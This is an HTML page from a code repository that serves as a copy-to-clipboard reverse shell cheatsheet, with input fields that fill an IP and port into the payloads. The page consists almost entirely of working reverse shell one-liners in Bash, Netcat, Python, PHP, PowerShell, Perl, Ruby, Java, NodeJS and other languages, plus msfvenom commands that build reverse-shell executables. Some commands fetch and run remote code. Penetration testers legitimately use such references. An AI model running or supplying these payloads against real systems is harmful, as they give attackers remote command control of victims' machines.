-
Notifications
You must be signed in to change notification settings - Fork 21
/
Copy pathindex.html
341 lines (303 loc) · 19.4 KB
/
index.html
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
<!DOCTYPE html>
<html>
<head>
<title>Reverse shell cheatsheet</title>
<script>
function disableScrolling(){
var x=window.scrollX;
var y=window.scrollY;
window.onscroll=function(){window.scrollTo(x, y);};
}
function enableScrolling(){
window.onscroll=function(){};
}
function copy(item_id) {
disableScrolling();
var copyText = document.getElementById(item_id).textContent;
const textArea = document.getElementById('txt');
textArea.textContent = copyText;
textArea.select();
document.execCommand("copy");
enableScrolling();
return false;
}
</script>
<style type="text/css">
body{
font-family: -apple-system,BlinkMacSystemFont,Segoe UI,Helvetica,Arial,sans-serif,Apple Color Emoji,Segoe UI Emoji;
background-color: #ccc;
}
button{
padding:0 5px;
margin:0;
}
textarea {
position: fixed;
left: -100%;
}
pre{
font-family: SFMono-Regular,Consolas,Liberation Mono,Menlo,monospace;
font-size:12px;
background-color: #f6f8fa;
overflow: auto;
border: 1px solid #898989;
padding: 5px;
}
.main{
max-width:800px;
margin:auto;
background-color: #fff;
padding:15px;
border: 1px solid #898989;
}
input[type=text]{
border: 1px solid #898989;
font-size:22px;
width:200px;
}
</style>
</head>
<body>
<div class="main">
IP: <input type="text" id="ip" value="127.0.0.1" name="ip">
Port: <input type="text" id="port" value="8080" name="port">
<input type="submit" value="Change" onclick="myFunction()">
<input type="reset" value="Reset" onclick="myFunction2()">
<script>
function myFunction(){
var ip = document.getElementById("ip").value;
var port = document.getElementById("port").value;
console.log(ip);
console.log(port);
var html= document.body.innerHTML;
html=html.replace(/127\.0\.0\.1/g,ip);
html=html.replace(/8080/g,port);
document.body.innerHTML=html;
}
function myFunction2(){
location.reload();
}
</script>
<textarea id="txt"></textarea>
<h3>Bash TCP:</h3>
Victim:
<pre id="cmd001">bash -i >& /dev/tcp/127.0.0.1/8080 0>&1</pre>
<button onclick="copy('cmd001')">Copy</button>
<pre id="cmd002">/bin/bash -i > /dev/tcp/127.0.0.1/8080 0<& 2>&1</pre>
<button onclick="copy('cmd002');">Copy</button>
<pre id="cmd003">exec 5<>/dev/tcp/127.0.0.1/8080;cat <&5 | while read line; do $line 2>&5 >&5; done</pre>
<button onclick="copy('cmd003');">Copy</button>
<pre id="cmd004">exec /bin/sh 0</dev/tcp/127.0.0.1/8080 1>&0 2>&0</pre>
<button onclick="copy('cmd004');">Copy</button>
<pre id="cmd005">0<&196;exec 196<>/dev/tcp/127.0.0.1/8080; sh <&196 >&196 2>&196</pre>
<button onclick="copy('cmd005');">Copy</button>
<h3>Bash UDP:</h3>
Victim:
<pre id="cmd006">sh -i >& /dev/udp/127.0.0.1/8080 0>&1</pre>
<button onclick="copy('cmd006');">Copy</button><br>
Listener:
<pre id="cmd007">nc -u -lvp 8080</pre>
<button onclick="copy('cmd007');">Copy</button>
<h3>Netcat:</h3>
<pre id="nc01">nc -e /bin/sh 127.0.0.1 8080</pre>
<button onclick="copy('nc01');">Copy</button>
<pre id="nc02">nc -e /bin/bash 127.0.0.1 8080</pre>
<button onclick="copy('nc02');">Copy</button>
<pre id="nc03">nc -c bash 127.0.0.1 8080</pre>
<button onclick="copy('nc03');">Copy</button>
<pre id="nc04">mknod backpipe p && nc 127.0.0.1 8080 0<backpipe | /bin/bash 1>backpipe </pre>
<button onclick="copy('nc04');">Copy</button>
<pre id="nc05">rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 127.0.0.1 8080 >/tmp/f</pre>
<button onclick="copy('nc05');">Copy</button>
<pre id="nc06">rm -f /tmp/p; mknod /tmp/p p && nc 127.0.0.1 8080 0/tmp/p 2>&1</pre>
<button onclick="copy('nc06');">Copy</button>
<pre id="nc07">rm f;mkfifo f;cat f|/bin/sh -i 2>&1|nc 127.0.0.1 8080 > f</pre>
<button onclick="copy('nc07');">Copy</button>
<pre id="nc08">rm -f x; mknod x p && nc 127.0.0.1 8080 0<x | /bin/bash 1>x</pre>
<button onclick="copy('nc08');">Copy</button>
<h3>Ncat:</h3>
<pre id="ncat01">ncat 127.0.0.1 8080 -e /bin/bash</pre>
<button onclick="copy('ncat01');">Copy</button>
<pre id="ncat02">ncat --udp 127.0.0.1 8080 -e /bin/bash</pre>
<button onclick="copy('ncat02');">Copy</button>
<h3>Telnet:</h3>
<pre id="telnet01">rm -f /tmp/p; mknod /tmp/p p && telnet 127.0.0.1 8080 0/tmp/p 2>&1</pre>
<button onclick="copy('telnet01');">Copy</button>
<pre id="telnet02">telnet 127.0.0.1 8080 | /bin/bash | telnet 127.0.0.1 444</pre>
<button onclick="copy('telnet02');">Copy</button>
<pre id="telnet03">rm f;mkfifo f;cat f|/bin/sh -i 2>&1|telnet 127.0.0.1 8080 > f</pre>
<button onclick="copy('telnet03');">Copy</button>
<pre id="telnet04">rm -f x; mknod x p && telnet 127.0.0.1 8080 0<x | /bin/bash 1>x</pre>
<button onclick="copy('telnet04');">Copy</button>
<h3>Socat:</h3>
Victim:
<pre id="socat01">/tmp/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:127.0.0.1:8080</pre>
<button onclick="copy('socat01');">Copy</button>
<pre id="socat02">socat tcp-connect:127.0.0.1:8080 exec:"bash -li",pty,stderr,setsid,sigint,sane</pre>
<button onclick="copy('socat02');">Copy</button><br>
Listener:
<pre id="socat03">socat file:`tty`,raw,echo=0 TCP-L:8080</pre>
<button onclick="copy('socat03');">Copy</button>
<br>
Victim:
<pre id="socat04">wget -q https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat -O /tmp/socat; chmod +x /tmp/socat; /tmp/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:127.0.0.1:8080</pre>
<button onclick="copy('socat04');">Copy</button>
<h3>Perl:</h3>
Victim:
<pre id="perl01">perl -e 'use Socket;$i="127.0.0.1";$p=8080;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'</pre>
<button onclick="copy('perl01');">Copy</button>
<pre id="perl02">perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"127.0.0.1:8080");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'</pre>
<button onclick="copy('perl02');">Copy</button><br>
Windows only, Victim:
<pre id="perl03">perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"127.0.0.1:8080");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'</pre>
<button onclick="copy('perl03');">Copy</button>
<h3>Python:</h3>
IP v4
<pre id="python01">python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("127.0.0.1",8080));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'</pre>
<button onclick="copy('python01');">Copy</button>
<pre id="python02">export RHOST="127.0.0.1";export RPORT=8080;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'</pre>
<button onclick="copy('python02');">Copy</button>
<pre id="python03">python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("127.0.0.1",8080));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'</pre>
<button onclick="copy('python03');">Copy</button>
IP v6
<pre id="python04">python -c 'import socket,subprocess,os,pty;s=socket.socket(socket.AF_INET6,socket.SOCK_STREAM);s.connect(("dead:beef:2::125c",8080,0,2));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=pty.spawn("/bin/sh");'</pre>
<button onclick="copy('python04');">Copy</button>
Windows only:
<pre id="python05">C:\Python27\python.exe -c "(lambda __y, __g, __contextlib: [[[[[[[(s.connect(('127.0.0.1', 8080)), [[[(s2p_thread.start(), [[(p2s_thread.start(), (lambda __out: (lambda __ctx: [__ctx.__enter__(), __ctx.__exit__(None, None, None), __out[0](lambda: None)][2])(__contextlib.nested(type('except', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: __exctype is not None and (issubclass(__exctype, KeyboardInterrupt) and [True for __out[0] in [((s.close(), lambda after: after())[1])]][0])})(), type('try', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: [False for __out[0] in [((p.wait(), (lambda __after: __after()))[1])]][0]})())))([None]))[1] for p2s_thread.daemon in [(True)]][0] for __g['p2s_thread'] in [(threading.Thread(target=p2s, args=[s, p]))]][0])[1] for s2p_thread.daemon in [(True)]][0] for __g['s2p_thread'] in [(threading.Thread(target=s2p, args=[s, p]))]][0] for __g['p'] in [(subprocess.Popen(['\\windows\\system32\\cmd.exe'], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE))]][0])[1] for __g['s'] in [(socket.socket(socket.AF_INET, socket.SOCK_STREAM))]][0] for __g['p2s'], p2s.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: (__l['s'].send(__l['p'].stdout.read(1)), __this())[1] if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 'p2s')]][0] for __g['s2p'], s2p.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: [(lambda __after: (__l['p'].stdin.write(__l['data']), __after())[1] if (len(__l['data']) > 0) else __after())(lambda: __this()) for __l['data'] in [(__l['s'].recv(1024))]][0] if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 's2p')]][0] for __g['os'] in [(__import__('os', __g, __g))]][0] for __g['socket'] in [(__import__('socket', __g, __g))]][0] for __g['subprocess'] in [(__import__('subprocess', __g, __g))]][0] for __g['threading'] in [(__import__('threading', __g, __g))]][0])((lambda f: (lambda x: x(x))(lambda y: f(lambda: y(y)()))), globals(), __import__('contextlib'))"</pre>
<button onclick="copy('python05');">Copy</button>
<h3>PHP:</h3>
<pre id="php01">php -r '$sock=fsockopen("127.0.0.1",8080);exec("/bin/sh -i <&3 >&3 2>&3");'</pre>
<button onclick="copy('php01');">Copy</button>
<pre id="php02">php -r '$s=fsockopen("127.0.0.1",8080);$proc=proc_open("/bin/sh -i", array(0=>$s, 1=>$s, 2=>$s),$pipes);'</pre>
<button onclick="copy('php02');">Copy</button>
<pre id="php03">php -r '$s=fsockopen("127.0.0.1",8080);shell_exec("/bin/sh -i <&3 >&3 2>&3");'</pre>
<button onclick="copy('php03');">Copy</button>
<pre id="php04">php -r '$s=fsockopen("127.0.0.1",8080);`/bin/sh -i <&3 >&3 2>&3`;'</pre>
<button onclick="copy('php04');">Copy</button>
<pre id="php05">php -r '$s=fsockopen("127.0.0.1",8080);system("/bin/sh -i <&3 >&3 2>&3");'</pre>
<button onclick="copy('php05');">Copy</button>
<pre id="php06">php -r '$s=fsockopen("127.0.0.1",8080);popen("/bin/sh -i <&3 >&3 2>&3", "r");'</pre>
<button onclick="copy('php06');">Copy</button>
<h3>Ruby:</h3>
<pre id="ruby01">ruby -rsocket -e'f=TCPSocket.open("127.0.0.1",8080).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'</pre>
<button onclick="copy('ruby01');">Copy</button>
<pre id="ruby02">ruby -rsocket -e 'exit if fork;c=TCPSocket.new("127.0.0.1","8080");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'</pre>
<button onclick="copy('ruby02');">Copy</button><br>
NOTE: Windows only
<pre id="ruby03">ruby -rsocket -e 'c=TCPSocket.new("127.0.0.1","8080");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'</pre>
<button onclick="copy('ruby03');">Copy</button>
<h3>OpenSSL:</h3>
Attacker:
<pre id="ssl01">openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes</pre>
<button onclick="copy('ssl01');">Copy</button>
<pre id="ssl02">openssl s_server -quiet -key key.pem -cert cert.pem -port 8080</pre>
<button onclick="copy('ssl02');">Copy</button>
or
<pre id="ssl03">ncat --ssl -vv -l -p 8080</pre>
<button onclick="copy('ssl03');">Copy</button>
Victim:
<pre id="ssl04">mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 127.0.0.1:8080 > /tmp/s; rm /tmp/s</pre>
<button onclick="copy('ssl04');">Copy</button>
<h3>Powershell:</h3>
<pre id="ps01">powershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object System.Net.Sockets.TCPClient("127.0.0.1",8080);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()</pre>
<button onclick="copy('ps01');">Copy</button>
<pre id="ps02">powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('127.0.0.1',8080);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"</pre>
<button onclick="copy('ps02');">Copy</button>
<pre id="ps03">powershell IEX (New-Object Net.WebClient).DownloadString('https://gist.githubusercontent.com/staaldraad/204928a6004e89553a8d3db0ce527fd5/raw/fe5f74ecfae7ec0f2d50895ecf9ab9dafe253ad4/mini-reverse.ps1')</pre>
<button onclick="copy('ps03');">Copy</button>
<h3>Awk:</h3>
<pre id="awk01">awk 'BEGIN {s = "/inet/tcp/0/127.0.0.1/8080"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null</pre>
<button onclick="copy('awk01');">Copy</button>
<h3>TCLsh</h3>
<pre id="tcl01">echo 'set s [socket 127.0.0.1 8080];while 42 { puts -nonewline $s "shell>";flush $s;gets $s c;set e "exec $c";if {![catch {set r [eval $e]} err]} { puts $s $r }; flush $s; }; close $s;' | tclsh</pre>
<button onclick="copy('tcl01');">Copy</button>
<h3>Java:</h3>
<pre id="java01">r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/127.0.0.1/8080;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()</pre>
<button onclick="copy('java01');">Copy</button>
<pre id="java02">String host="127.0.0.1";
int port=4444;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();</pre>
<button onclick="copy('java02');">Copy</button>
<pre id="java03">Thread thread = new Thread(){
public void run(){
// Reverse shell here
}
}
thread.start();</pre>
<button onclick="copy('java03');">Copy</button>
<h3>War:</h3>
<pre id="war01">msfvenom -p java/jsp_shell_reverse_tcp LHOST=127.0.0.1 LPORT=8080 -f war > reverse.war
strings reverse.war | grep jsp # in order to get the name of the file</pre>
<button onclick="copy('war01');">Copy</button>
<h3>Lua:</h3>
Linux only
<pre id="lua01">lua -e "require('socket');require('os');t=socket.tcp();t:connect('127.0.0.1','8080');os.execute('/bin/sh -i <&3 >&3 2>&3');"</pre>
<button onclick="copy('lua01');">Copy</button><br>
Windows and Linux
<pre id="lua02">lua5.1 -e 'local host, port = "127.0.0.1", 8080 local socket = require("socket") local tcp = socket.tcp() local io = require("io") tcp:connect(host, port); while true do local cmd, status, partial = tcp:receive() local f = io.popen(cmd, "r") local s = f:read("*a") f:close() tcp:send(s) if status == "closed" then break end end tcp:close()'</pre>
<button onclick="copy('lua02');">Copy</button>
<h3>NodeJS:</h3>
<pre id="ndjs01">(function(){
var net = require("net"),
cp = require("child_process"),
sh = cp.spawn("/bin/sh", []);
var client = new net.Socket();
client.connect(8080, "127.0.0.1", function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});
return /a/; // Prevents the Node.js application form crashing
})();</pre>
<button onclick="copy('ndjs01');">Copy</button>
<pre id="ndjs02">require('child_process').exec('nc -e /bin/sh 127.0.0.1 8080')</pre>
<button onclick="copy('ndjs02');">Copy</button>
<pre id="ndjs03">-var x = global.process.mainModule.require
-x('child_process').exec('nc 127.0.0.1 8080 -e /bin/bash')</pre>
<button onclick="copy('ndjs03');">Copy</button>
<pre id="ndjs04">https://gitlab.com/0x4ndr3/blog/blob/master/JSgen/JSgen.py</pre>
<button onclick="copy('ndjs04');">Copy</button>
<h3>Groovy:</h3>
<pre id="groovy01">String host="127.0.0.1";
int port=8080;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();</pre>
<button onclick="copy('groovy01');">Copy</button>
<h3>Meterpreter Shell:</h3>
<pre id="msf01">msfvenom -p windows/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=8080 -f exe > reverse.exe</pre>
<button onclick="copy('msf01');">Copy</button>
<pre id="msf02">msfvenom -p windows/shell_reverse_tcp LHOST=127.0.0.1 LPORT=8080 -f exe > reverse.exe</pre>
<button onclick="copy('msf02');">Copy</button>
<pre id="msf03">msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=8080 -f elf >reverse.elf</pre>
<button onclick="copy('msf03');">Copy</button>
<pre id="msf04">msfvenom -p linux/x86/shell_reverse_tcp LHOST=127.0.0.1 LPORT=8080 -f elf >reverse.elf</pre>
<button onclick="copy('msf04');">Copy</button>
<pre id="msf05">msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST="127.0.0.1" LPORT=8080 -f elf > shell.elf</pre>
<button onclick="copy('msf05');">Copy</button>
<pre id="msf06">msfvenom -p windows/meterpreter/reverse_tcp LHOST="127.0.0.1" LPORT=8080 -f exe > shell.exe</pre>
<button onclick="copy('msf06');">Copy</button>
<pre id="msf07">msfvenom -p osx/x86/shell_reverse_tcp LHOST="127.0.0.1" LPORT=8080 -f macho > shell.macho</pre>
<button onclick="copy('msf07');">Copy</button>
<pre id="msf08">msfvenom -p windows/meterpreter/reverse_tcp LHOST="127.0.0.1" LPORT=8080 -f asp > shell.asp</pre>
<button onclick="copy('msf08');">Copy</button>
<pre id="msf09">msfvenom -p java/jsp_shell_reverse_tcp LHOST="127.0.0.1" LPORT=8080 -f raw > shell.jsp</pre>
<button onclick="copy('msf09');">Copy</button>
<pre id="msf10">msfvenom -p java/jsp_shell_reverse_tcp LHOST="127.0.0.1" LPORT=8080 -f war > shell.war</pre>
<button onclick="copy('msf10');">Copy</button>
<pre id="msf11">msfvenom -p cmd/unix/reverse_python LHOST="127.0.0.1" LPORT=8080 -f raw > shell.py</pre>
<button onclick="copy('msf11');">Copy</button>
<pre id="msf12">msfvenom -p cmd/unix/reverse_bash LHOST="127.0.0.1" LPORT=8080 -f raw > shell.sh</pre>
<button onclick="copy('msf12');">Copy</button>
<pre id="msf13">msfvenom -p cmd/unix/reverse_perl LHOST="127.0.0.1" LPORT=8080 -f raw > shell.pl</pre>
<button onclick="copy('msf13');">Copy</button>
<h3>Xterm:</h3>
<pre id="xterm001">xterm -display 127.0.0.1:1
Xnest :1
xhost +targetip</pre>
<button onclick="copy('xterm001');">Copy</button>
</div>
</body>
</html>